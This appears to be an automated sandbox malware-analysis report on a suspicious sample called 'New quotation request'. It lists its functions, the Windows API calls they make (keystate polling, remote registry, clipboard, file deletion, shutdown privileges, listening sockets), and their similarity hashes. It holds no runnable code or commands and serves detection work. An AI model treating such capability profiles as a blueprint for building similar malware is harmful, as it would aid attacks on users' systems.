                                                                    APIs
                                                                    • GetKeyboardState.USER32(?), ref: 00310097
                                                                    • SetKeyboardState.USER32(?), ref: 00310102
                                                                    • GetAsyncKeyState.USER32(000000A0), ref: 00310122
                                                                    • GetKeyState.USER32(000000A0), ref: 00310139
                                                                    • GetAsyncKeyState.USER32(000000A1), ref: 00310168
                                                                    • GetKeyState.USER32(000000A1), ref: 00310179
                                                                    • GetAsyncKeyState.USER32(00000011), ref: 003101A5
                                                                    • GetKeyState.USER32(00000011), ref: 003101B3
                                                                    • GetAsyncKeyState.USER32(00000012), ref: 003101DC
                                                                    • GetKeyState.USER32(00000012), ref: 003101EA
                                                                    • GetAsyncKeyState.USER32(0000005B), ref: 00310213
                                                                    • GetKeyState.USER32(0000005B), ref: 00310221
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: State$Async$Keyboard
                                                                    • String ID:
                                                                    • API String ID: 541375521-0
                                                                    • Opcode ID: 1b31702c674f1deb9a696592a23fe376ada2cbbc973f98d6dcf8162e59679e8f
                                                                    • Instruction ID: ae16c1f14877cfea4d050a511cd7dd9c746ede3b1f92bc310e403a9e1735addc
                                                                    • Opcode Fuzzy Hash: 1b31702c674f1deb9a696592a23fe376ada2cbbc973f98d6dcf8162e59679e8f
                                                                    • Instruction Fuzzy Hash: 6051D92490478869FB3EDBB088547EABFB49F09380F09459A95C25A5C2DAE49BCCC761
                                                                    Function 003303DA Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 00330E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0032FDAD,?,?), ref: 00330E31
                                                                    • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 003304AC
                                                                      • Part of subcall function 002B9837: __itow.LIBCMT ref: 002B9862
                                                                      • Part of subcall function 002B9837: __swprintf.LIBCMT ref: 002B98AC
                                                                    • RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 0033054B
                                                                    • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 003305E3
                                                                    • RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 00330822
                                                                    • RegCloseKey.ADVAPI32(00000000), ref: 0033082F
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
                                                                    • String ID:
                                                                    • API String ID: 1240663315-0
                                                                    • Opcode ID: 563642bd3200aacfcc903557b61ddf415b240260879bc6815e168190aa53c3e2
                                                                    • Instruction ID: 8923b73f941e9437e80e124e69a5ba0126c3684dba7fa2a3911c2d46dc6b6762
                                                                    • Opcode Fuzzy Hash: 563642bd3200aacfcc903557b61ddf415b240260879bc6815e168190aa53c3e2
                                                                    • Instruction Fuzzy Hash: E1E15E31604200AFCB19DF28C991E6ABBE9EF89314F04896DF94ADB261D730ED11CF91
                                                                    Function 003283BB Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B9837: __itow.LIBCMT ref: 002B9862
                                                                      • Part of subcall function 002B9837: __swprintf.LIBCMT ref: 002B98AC
                                                                    • CoInitialize.OLE32 ref: 00328403
                                                                    • CoUninitialize.OLE32 ref: 0032840E
                                                                    • CoCreateInstance.OLE32(?,00000000,00000017,00342BEC,?), ref: 0032846E
                                                                    • IIDFromString.OLE32(?,?), ref: 003284E1
                                                                    • VariantInit.OLEAUT32(?), ref: 0032857B
                                                                    • VariantClear.OLEAUT32(?), ref: 003285DC
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
                                                                    • String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
                                                                    • API String ID: 834269672-1287834457
                                                                    • Opcode ID: 8c9dfdcc4075d271ee4f31186218cf15d97334b0431eb679a02ea815a7951116
                                                                    • Instruction ID: 61362f8386c99ee3b9a9f2c4b5e85bb910ad182790fe2fa85964bf5b45ffba77
                                                                    • Opcode Fuzzy Hash: 8c9dfdcc4075d271ee4f31186218cf15d97334b0431eb679a02ea815a7951116
                                                                    • Instruction Fuzzy Hash: 7661D4706093229FC712EF15E888FAEB7E8AF49754F14491DF9819B291CB70ED44CB92
                                                                    Function 00324164 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Clipboard$AllocCloseEmptyGlobalOpen
                                                                    • String ID:
                                                                    • API String ID: 1737998785-0
                                                                    • Opcode ID: 706a1be6f5b8790b9850aa50c4be43de33403042912ef32f63105228ac47584f
                                                                    • Instruction ID: f64207d80f9f048b62a710a9a3045b98577fe99a70dddadd2ca15bec8be3fdf0
                                                                    • Opcode Fuzzy Hash: 706a1be6f5b8790b9850aa50c4be43de33403042912ef32f63105228ac47584f
                                                                    • Instruction Fuzzy Hash: C921A135601210DFDB12AF24EC8AB6E7BACEF15750F11842AF946DB2B1DB70AC50CB54
                                                                    Function 003137EF Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167fileCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,002B4743,?,?,002B37AE,?), ref: 002B4770
                                                                      • Part of subcall function 00314A31: GetFileAttributesW.KERNEL32(?,0031370B), ref: 00314A32
                                                                    • FindFirstFileW.KERNEL32(?,?), ref: 003138A3
                                                                    • DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 0031394B
                                                                    • MoveFileW.KERNEL32(?,?), ref: 0031395E
                                                                    • DeleteFileW.KERNEL32(?,?,?,?,?), ref: 0031397B
                                                                    • FindNextFileW.KERNEL32(00000000,00000010), ref: 0031399D
                                                                    • FindClose.KERNEL32(00000000,?,?,?,?), ref: 003139B9
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
                                                                    • String ID: \*.*
                                                                    • API String ID: 4002782344-1173974218
                                                                    • Opcode ID: 29218da78ab374f6224f982de2e404b24136db7784a8434c12317bef63abf5be
                                                                    • Instruction ID: b0ebf7691db1104320a76f0348dcfecbeb97442911d919b0becfb74c35286ad0
                                                                    • Opcode Fuzzy Hash: 29218da78ab374f6224f982de2e404b24136db7784a8434c12317bef63abf5be
                                                                    • Instruction Fuzzy Hash: 53517F3180514DAACF0AFBA0C9929EDB779AF58340F640069E406BB191EF316F49CF60
                                                                    Function 0031F3F3 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120filesleepCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B7DE1: _memmove.LIBCMT ref: 002B7E22
                                                                    • FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 0031F440
                                                                    • Sleep.KERNEL32(0000000A), ref: 0031F470
                                                                    • _wcscmp.LIBCMT ref: 0031F484
                                                                    • _wcscmp.LIBCMT ref: 0031F49F
                                                                    • FindNextFileW.KERNEL32(?,?), ref: 0031F53D
                                                                    • FindClose.KERNEL32(00000000), ref: 0031F553
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Find$File_wcscmp$CloseFirstNextSleep_memmove
                                                                    • String ID: *.*
                                                                    • API String ID: 713712311-438819550
                                                                    • Opcode ID: f07bccab4d7e58bdfbc6134f76748c95f70f6ff68f2369640a78ca75a15ee845
                                                                    • Instruction ID: b062ed5ebeefe5302e212cc421019eccccbdbd3d4a4f4331253e292b8f36d988
                                                                    • Opcode Fuzzy Hash: f07bccab4d7e58bdfbc6134f76748c95f70f6ff68f2369640a78ca75a15ee845
                                                                    • Instruction Fuzzy Hash: 8441917190021A9FCF16EF64DC45AEEBBB8FF09310F544466E815A32A1EB309E94CF50
                                                                    Function 002C3030 Relevance: 11.1, APIs: 4, Strings: 2, Instructions: 587COMMON
                                                                    Download Yara Rule
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: __itow__swprintf
                                                                    • String ID: 3c,$_,
                                                                    • API String ID: 674341424-370742736
                                                                    • Opcode ID: 3f731fc7a9f434b6baf80b8ea5ccc48d8c36fb7441e0e8cae8d2cf5f36eed1b6
                                                                    • Instruction ID: ac79daff6e5f1c9c9b5d867e1075662c8917131a188a67b072c9b667a6dfa288
                                                                    • Opcode Fuzzy Hash: 3f731fc7a9f434b6baf80b8ea5ccc48d8c36fb7441e0e8cae8d2cf5f36eed1b6
                                                                    • Instruction Fuzzy Hash: E0229C716283019FC724DF14C881FAEB7E4EF85350F008A2DF99A97291DB71E964CB92
                                                                    Function 002C5760 Relevance: 11.0, APIs: 7, Instructions: 532COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: _memmove
                                                                    • String ID:
                                                                    • API String ID: 4104443479-0
                                                                    • Opcode ID: 726335babec921b777c0bab69e6ed7257809e5e2b26307a1e75fed2cefc0ea25
                                                                    • Instruction ID: 00cddc7be624f4b4e0299e47962a897a55c27e4680219f9ce23d39c5a995f58a
                                                                    • Opcode Fuzzy Hash: 726335babec921b777c0bab69e6ed7257809e5e2b26307a1e75fed2cefc0ea25
                                                                    • Instruction Fuzzy Hash: 5C129B70A10619DFDF08DFA5C991BEEB7B9FF48300F104669E446A7290EB76AD60CB50
                                                                    Function 00313B12 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,002B4743,?,?,002B37AE,?), ref: 002B4770
                                                                      • Part of subcall function 00314A31: GetFileAttributesW.KERNEL32(?,0031370B), ref: 00314A32
                                                                    • FindFirstFileW.KERNEL32(?,?), ref: 00313B89
                                                                    • DeleteFileW.KERNEL32(?,?,?,?), ref: 00313BD9
                                                                    • FindNextFileW.KERNEL32(00000000,00000010), ref: 00313BEA
                                                                    • FindClose.KERNEL32(00000000), ref: 00313C01
                                                                    • FindClose.KERNEL32(00000000), ref: 00313C0A
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
                                                                    • String ID: \*.*
                                                                    • API String ID: 2649000838-1173974218
                                                                    • Opcode ID: d57a1fc1483904b7126a6dc391324f8134b33e30093f9cfa76f7d87ddc5f517a
                                                                    • Instruction ID: 7a1ef87e465641de52854c79a084b18964a8121f003cac6924a078a3bdf0588b
                                                                    • Opcode Fuzzy Hash: d57a1fc1483904b7126a6dc391324f8134b33e30093f9cfa76f7d87ddc5f517a
                                                                    • Instruction Fuzzy Hash: A1316D350183859FC206FB24C8918EFB7ACAE95354F444E2DF4D5921A1EB21DA18CBA2
                                                                    Function 003151BD Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 003087E1: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0030882B
                                                                      • Part of subcall function 003087E1: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00308858
                                                                      • Part of subcall function 003087E1: GetLastError.KERNEL32 ref: 00308865
                                                                    • ExitWindowsEx.USER32(?,00000000), ref: 003151F9
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
                                                                    • String ID: $@$SeShutdownPrivilege
                                                                    • API String ID: 2234035333-194228
                                                                    • Opcode ID: 1ed2a4c8d9b381d98538196408dde8ac2e8679d0310fed7e817c62780a443c62
                                                                    • Instruction ID: 67ec2b78e08f86c66b0b6d40716394d8185b87e8cd699e632572b80f2f3a8b95
                                                                    • Opcode Fuzzy Hash: 1ed2a4c8d9b381d98538196408dde8ac2e8679d0310fed7e817c62780a443c62
                                                                    • Instruction Fuzzy Hash: CA012433B91605ABE72F23689C9AFFB725C9B8E740F610C20F803E60D2DA715C828190
                                                                    Function 002BFCE0 Relevance: 9.8, APIs: 3, Strings: 2, Instructions: 1040COMMON
                                                                    Download Yara Rule
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: BuffCharUpper
                                                                    • String ID: pb7$%4
                                                                    • API String ID: 3964851224-2664033170
                                                                    • Opcode ID: 6ca7939b09e1cb3dcb45807b46d28616e706905438fc60ef3d04b8a2b6e1388b
                                                                    • Instruction ID: 1636709e7a356a21abdbb28c4dee97cb64d8b7031c865c6c2773fb96570954ee
                                                                    • Opcode Fuzzy Hash: 6ca7939b09e1cb3dcb45807b46d28616e706905438fc60ef3d04b8a2b6e1388b
                                                                    • Instruction Fuzzy Hash: F2926970628341CFD720DF14C480B6AB7E5BF89344F14896DE99A8B362D7B1EC65CB92
                                                                    Function 00326283 Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 003262DC
                                                                    • WSAGetLastError.WSOCK32(00000000), ref: 003262EB
                                                                    • bind.WSOCK32(00000000,?,00000010), ref: 00326307
                                                                    • listen.WSOCK32(00000000,00000005), ref: 00326316
                                                                    • WSAGetLastError.WSOCK32(00000000), ref: 00326330
                                                                    • closesocket.WSOCK32(00000000,00000000), ref: 00326344
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ErrorLast$bindclosesocketlistensocket
                                                                    • String ID:
                                                                    • API String ID: 1279440585-0
                                                                    • Opcode ID: bafd6f9659beaaae244bafcf686967eac0032ef23887fd4653b1adf2a18a8e87
                                                                    • Instruction ID: 99c3b193e910293e867b834a5ef475f70fce34d7ee0f043c43e120985f8a7a16
                                                                    • Opcode Fuzzy Hash: bafd6f9659beaaae244bafcf686967eac0032ef23887fd4653b1adf2a18a8e87
                                                                    • Instruction Fuzzy Hash: B121D034600210AFCB11EF64DC86A6EB7B9EF49760F558158FA16AB3E1C770AC41CB51
                                                                    Function 002C5520 Relevance: 8.0, APIs: 5, Instructions: 516COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002D0DB6: std::exception::exception.LIBCMT ref: 002D0DEC
                                                                      • Part of subcall function 002D0DB6: __CxxThrowException@8.LIBCMT ref: 002D0E01
                                                                    • _memmove.LIBCMT ref: 00300258
                                                                    • _memmove.LIBCMT ref: 0030036D
                                                                    • _memmove.LIBCMT ref: 00300414
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: _memmove$Exception@8Throwstd::exception::exception
                                                                    • String ID:
                                                                    • API String ID: 1300846289-0
                                                                    • Opcode ID: 380051c7aac54934b9bb86292dbf46014df5d36673bb2ea98c0644a7857bf1bb
                                                                    • Instruction ID: 480cfafae25d4cb1b338f25b5437d37bc8248247107e2e864d3f4ee04d4f26e6
                                                                    • Opcode Fuzzy Hash: 380051c7aac54934b9bb86292dbf46014df5d36673bb2ea98c0644a7857bf1bb
                                                                    • Instruction Fuzzy Hash: 7702C470A10215DBCF09DF64D991BAEBBB9EF44300F5480A9E809DB395EB31ED64CB91
                                                                    Function 002B1287 Relevance: 7.9, APIs: 5, Instructions: 379COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B2612: GetWindowLongW.USER32(?,000000EB), ref: 002B2623
                                                                    • DefDlgProcW.USER32(?,?,?,?,?), ref: 002B19FA
                                                                    • GetSysColor.USER32(0000000F), ref: 002B1A4E
                                                                    • SetBkColor.GDI32(?,00000000), ref: 002B1A61
                                                                      • Part of subcall function 002B1290: DefDlgProcW.USER32(?,00000020,?), ref: 002B12D8
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ColorProc$LongWindow
                                                                    • String ID:
                                                                    • API String ID: 3744519093-0
                                                                    • Opcode ID: d27d3cb0d5e54f56de7874c17320f398c65f2b77eb7c9c5435e6ab2b63f92a03
                                                                    • Instruction ID: b44b92c88c0268c033ec226c74626c579ace7f2efd6e459ad3df3c9c5b16a032
                                                                    • Opcode Fuzzy Hash: d27d3cb0d5e54f56de7874c17320f398c65f2b77eb7c9c5435e6ab2b63f92a03
                                                                    • Instruction Fuzzy Hash: CBA13A711325C6BAEB3AAE294CB8EFF355CDB463C1FD40119F502D6192CA60AD70D6B1
                                                                    Function 0031BCBC Relevance: 7.6, APIs: 5, Instructions: 143fileCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • FindFirstFileW.KERNEL32(?,?), ref: 0031BCE6
                                                                    • _wcscmp.LIBCMT ref: 0031BD16
                                                                    • _wcscmp.LIBCMT ref: 0031BD2B
                                                                    • FindNextFileW.KERNEL32(00000000,?), ref: 0031BD3C
                                                                    • FindClose.KERNEL32(00000000,00000001,00000000), ref: 0031BD6C
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Find$File_wcscmp$CloseFirstNext
                                                                    • String ID:
                                                                    • API String ID: 2387731787-0
                                                                    • Opcode ID: 91526e35f54a89b52a3581484109af2a1b694af5eef92361900f3617780df2ea
                                                                    • Instruction ID: 0cf76dd6b31d37be661ba944ed12810fc6b9ddcffc1d475ba04f57bfcf4fee57
